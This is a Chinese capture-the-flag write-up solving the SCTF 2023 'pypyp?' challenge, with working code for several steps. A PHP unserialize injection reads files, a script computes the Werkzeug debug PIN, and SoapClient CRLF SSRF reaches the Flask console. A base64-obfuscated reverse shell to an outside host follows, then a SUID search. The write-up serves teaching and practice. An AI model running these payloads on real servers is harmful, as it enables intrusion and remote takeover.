题目信息
- 题目名称:2023SCTF pypyp?
- 题目镜像:lxxxin/sctf2023_pypyp
- flag信息:
- 内部端口:80
- 题目描述:a piece of cake but hard work。per 5 min restart. pay attention to /app/app.py
启动脚本
1
|
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/sctf2023_pypyp
|
WriteUp
打开题目显示没有session

可以利用SESSION_UPLOAD_PROGRESS创建一个session:
- 下方的proxies为BurpSuite的代理地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
import requests
url = "http://1.1.1.1:49343/"
data = {
"PHP_SESSION_UPLOAD_PROGRESS":"a"
}
file = {
"file": ("a","a")
}
cookies = {
"PHPSESSID": "a"
}
proxies = {
"http": "127.0.0.1:8080"
}
req = requests.post(url, data=data, files=file, cookies=cookies, proxies=proxies)
print(req.text)
|
发包过去就能拿到源码了

获取到的源码如下,这里稍作分析:
$_POST['data']
可控,并且会对其反序列化后覆盖变量,所以我们可以任意构造后续的变量,注意在传参的时候需要序列化数据
- 核心看三个if分支,第一个if分支会对properties变量反序列化,并且调用sctf方法,由于代码里不存在类有sctf方法,因此第一反应应该是构造SoapClient原生类打SSRF
- 第二个else if分支的用途就比较明显了,可以利用原生类读取任意文件
- 第三个else语句会去请求内部5000端口的服务并返回结果,一般5000端口是Flask服务,不过这里file_get_contents只能发送GET请求,如果要打Flask的/console的Debug服务需要带Cookie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<?php
error_reporting(0);
if(!isset($_SESSION)){
die('Session not started');
}
highlight_file(__FILE__);
$type = $_SESSION['type'];
$properties = $_SESSION['properties'];
echo urlencode($_POST['data']);
extract(unserialize($_POST['data']));
if(is_string($properties)&&unserialize(urldecode($properties))){
$object = unserialize(urldecode($properties));
$object -> sctf();
exit();
} else if(is_array($properties)){
$object = new $type($properties[0],$properties[1]);
} else {
$object = file_get_contents('http://127.0.0.1:5000/'.$properties);
}
echo "this is the object: $object <br>";
?>
|
这里的解题思路如下:
- 利用SplFIleObject原生类读取文件计算PIN
- 利用SoapClient原生类SSRF打Flask服务的Debug,最终RCE
这里简单讲一下SoapClient原生类SSRF:
- SoapClient原生类SSRF本质上是:当我们实例化一个SoapClient对象,其中构造方法的两个参数可控,如果调用SoapClient不存在的方法,则会向指定URI发送一个POST请求(原本这个类的作用类似于请求远程API接口),由于构造方法的内容可控,导致我们可以在User-Agent的位置注入恶意参数,进而访问内网服务资源
- 这里的$data是POST的内容,$lendata为$data的长度,用作计算Content-Length
- 注意在HTTP请求中的换行均为
\r\n
,其中Header与POST体之间有两个\r\n
- 红色方框以外的会被丢弃
1
2
3
4
5
6
|
<?php
$data = "name=admin";
$lendata = strlen($data);
$ua = "datou\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $lendata\r\n\r\n$data";
$client = new SoapClient(null,array('uri' => 'datou' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
$client->getFlag();
|

首先我们需要计算PIN,计算PIN需要以下几个参数:
- 运行Flask程序的用户名(可以在/etc/passwd中找到)
- flask的包路径(其值类似于/usr/local/lib/python3.8/site-packages/flask/app.py)
- /sys/class/net/eth0/address
- /proc/sys/kernel/random/boot_id
- /proc/self/cgroup
接着去读文件,生成读文件序列化数据脚本如下:
1
2
3
4
5
|
<?php
$data["type"] = "SplFileObject";
$data["properties"][0] = "php://filter/read=convert.base64-encode/resource=/proc/sys/kernel/random/boot_id";
$data["properties"][1] = "r";
echo serialize($data);
|

这里我读到的信息如下(后面三个值,每个人都不一样):
- 通过/etc/passwd发现有个app用户
- /sys/class/net/eth0/address为02:42:ac:11:00:1b
- /proc/sys/kernel/random/boot_id为19cc2109-9300-4ed8-bed1-ed632ed255a4
- /proc/self/cgroup为0d4978cb4c9f3ec740cec2c1dc4ac9a80bfea4762276d26714816aca45888240
比较麻烦的是获取flask的包路径,这里可以利用GlobIterator原生类读取(这个类的构造方法允许有两个参数)

匹配的脚本如下:
1
2
3
4
5
6
|
<?php
$data["type"] = "GlobIterator";
$data["properties"][0] = "glob:///usr/local/lib/python3.9/dist-packages/flask/app.p*";
$data["properties"][1] = 1;
echo serialize($data);
//a:2:{s:4:"type";s:12:"GlobIterator";s:10:"properties";a:2:{i:0;s:58:"glob:///usr/local/lib/python3.9/dist-packages/flask/app.p*";i:1;i:1;}}
|
最终的匹配结果为:/usr/local/lib/python3.9/dist-packages/flask/app.py
在比赛的时候,位于/usr/lib/python3.8/site-packages/flask/app.py,常见的路径就是这几个,可以利用glob的通配符多试试,有点费事,如果匹配到了就会返回文件名,匹配不到就不返回,有点类似布尔盲注

顺便把题目提示的/app/app.py读取了,可以看到开启了Debug模式
1
2
3
4
5
6
7
8
9
10
|
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello World!'
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=True)
|
接着计算PIN:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
import hashlib
from itertools import chain
import time
probably_public_bits = [
'app'# /etc/passwd
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.9/dist-packages/flask/app.py' # 报错得到
]
private_bits = [
str(int('02:42:ac:11:00:1b'.replace(":", ""), 16)), # /sys/class/net/eth0/address
'19cc2109-9300-4ed8-bed1-ed632ed255a4' + # /proc/sys/kernel/random/boot_id
'0d4978cb4c9f3ec740cec2c1dc4ac9a80bfea4762276d26714816aca45888240' # /proc/self/cgroup
]
h = hashlib.sha1() # 有些版本是md5,Python3大部分版本是sha1
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print("pin为: " + rv)
cookie = str(int(time.time())) + "|" + hashlib.sha1(f"{rv} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(f"cookie为: {cookie_name}={cookie}")
|
我这里的计算结果为140-931-835,每个人都不一样,如果担心计算错误,可以查看容器的日志:docker logs -f <container-id>

可以看到我这里计算结果是正确的

有了PIN之后,就是通过SoapClient类SSRF去RCE了
当然,我们还是需要知道进入Debug模式命令执行的具体请求参数,由于比赛时没有可视化页面,正常的话是直接访问/console接口输入PIN点点点就完事了,但是这里我们只能通过SSRF的方式
本地起个Flask:
1
2
3
4
5
6
7
8
9
10
|
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Hello World!'
if __name__ == '__main__':
app.run(host="0.0.0.0",port=8088,debug=True)
|
抓包,访问/console,输入PIN,执行命令,看看整个流程是怎么样的
其实也很简单,先是一个GET请求,传参,然后返回Cookie(这个Cookie是通过计算得到的,上面已经给出了)

之后携带cookie去执行命令即可

这里有个小问题,就是验证PIN的s值的获取

这个值实际上是存储在/console页面源码中

题目刚好也提供了这一功能访问/console页面:

1
2
3
4
|
<?php
$data["properties"] = "console";
echo serialize($data);
//a:1:{s:10:"properties";s:7:"console";}
|
同样传给data可以获取到SECRET,我这里是Y8jRuFsyHCoJ64lgXpk0

接下来就是构造SoapClient请求打SSRF了,需要构造的包大概长下方这样

构造SSRF请求的EXP如下:
- 复现的时候替换下方4-6行即可
- 我这里命令执行做了两次Base64编码是因为
+
在中途传参会出现编码问题,同时注意空格最好用${IFS}
代替,同样也是防止编码问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
$data = "name=admin";
$lendata = strlen($data);
$cookie = "__wzd1cebf2989b4eebb2a577=1687509747|5b1000f3f6c5";
$cmd = 'echo${IFS}TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV1TVM0eExqRXZNems1T1RrZ01ENG1NUT09|base64${IFS}-d|base64${IFS}-d|bash';
$s = "Y8jRuFsyHCoJ64lgXpk0";
$ua = "datou\r\nCookie: $cookie\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: $lendata\r\n\r\n$data";
$uri = 'http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__("os").system("""$cmd""")&frm=0&s=$s';
$uri = str_replace('$s', "$s", $uri);
$uri = str_replace('$cmd', "$cmd", $uri);
$client = new SoapClient(null,array('uri' => 'datou' , 'location' => $uri, 'user_agent' => $ua));
$serdata["properties"] = urlencode(serialize($client));
echo serialize($serdata);
//a:1:{s:10:"properties";s:746:"O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A5%3A%22datou%22%3Bs%3A8%3A%22location%22%3Bs%3A237%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F%26__debugger__%3Dyes%26cmd%3D__import__%28%22os%22%29.system%28%22%22%22echo%24%7BIFS%7DTDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV1TVM0eExqRXZNems1T1RrZ01ENG1NUT09%7Cbase64%24%7BIFS%7D-d%7Cbase64%24%7BIFS%7D-d%7Cbash%22%22%22%29%26frm%3D0%26s%3DY8jRuFsyHCoJ64lgXpk0%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A147%3A%22datou%0D%0ACookie%3A+__wzd1cebf2989b4eebb2a577%3D1687509747%7C5b1000f3f6c5%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+10%0D%0A%0D%0Aname%3Dadmin%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";}
|
成功反弹shell

搜索有SUID权限的命令:
1
|
find / -perm -u=s -type f 2>/dev/null
|

发现curl可以使用:
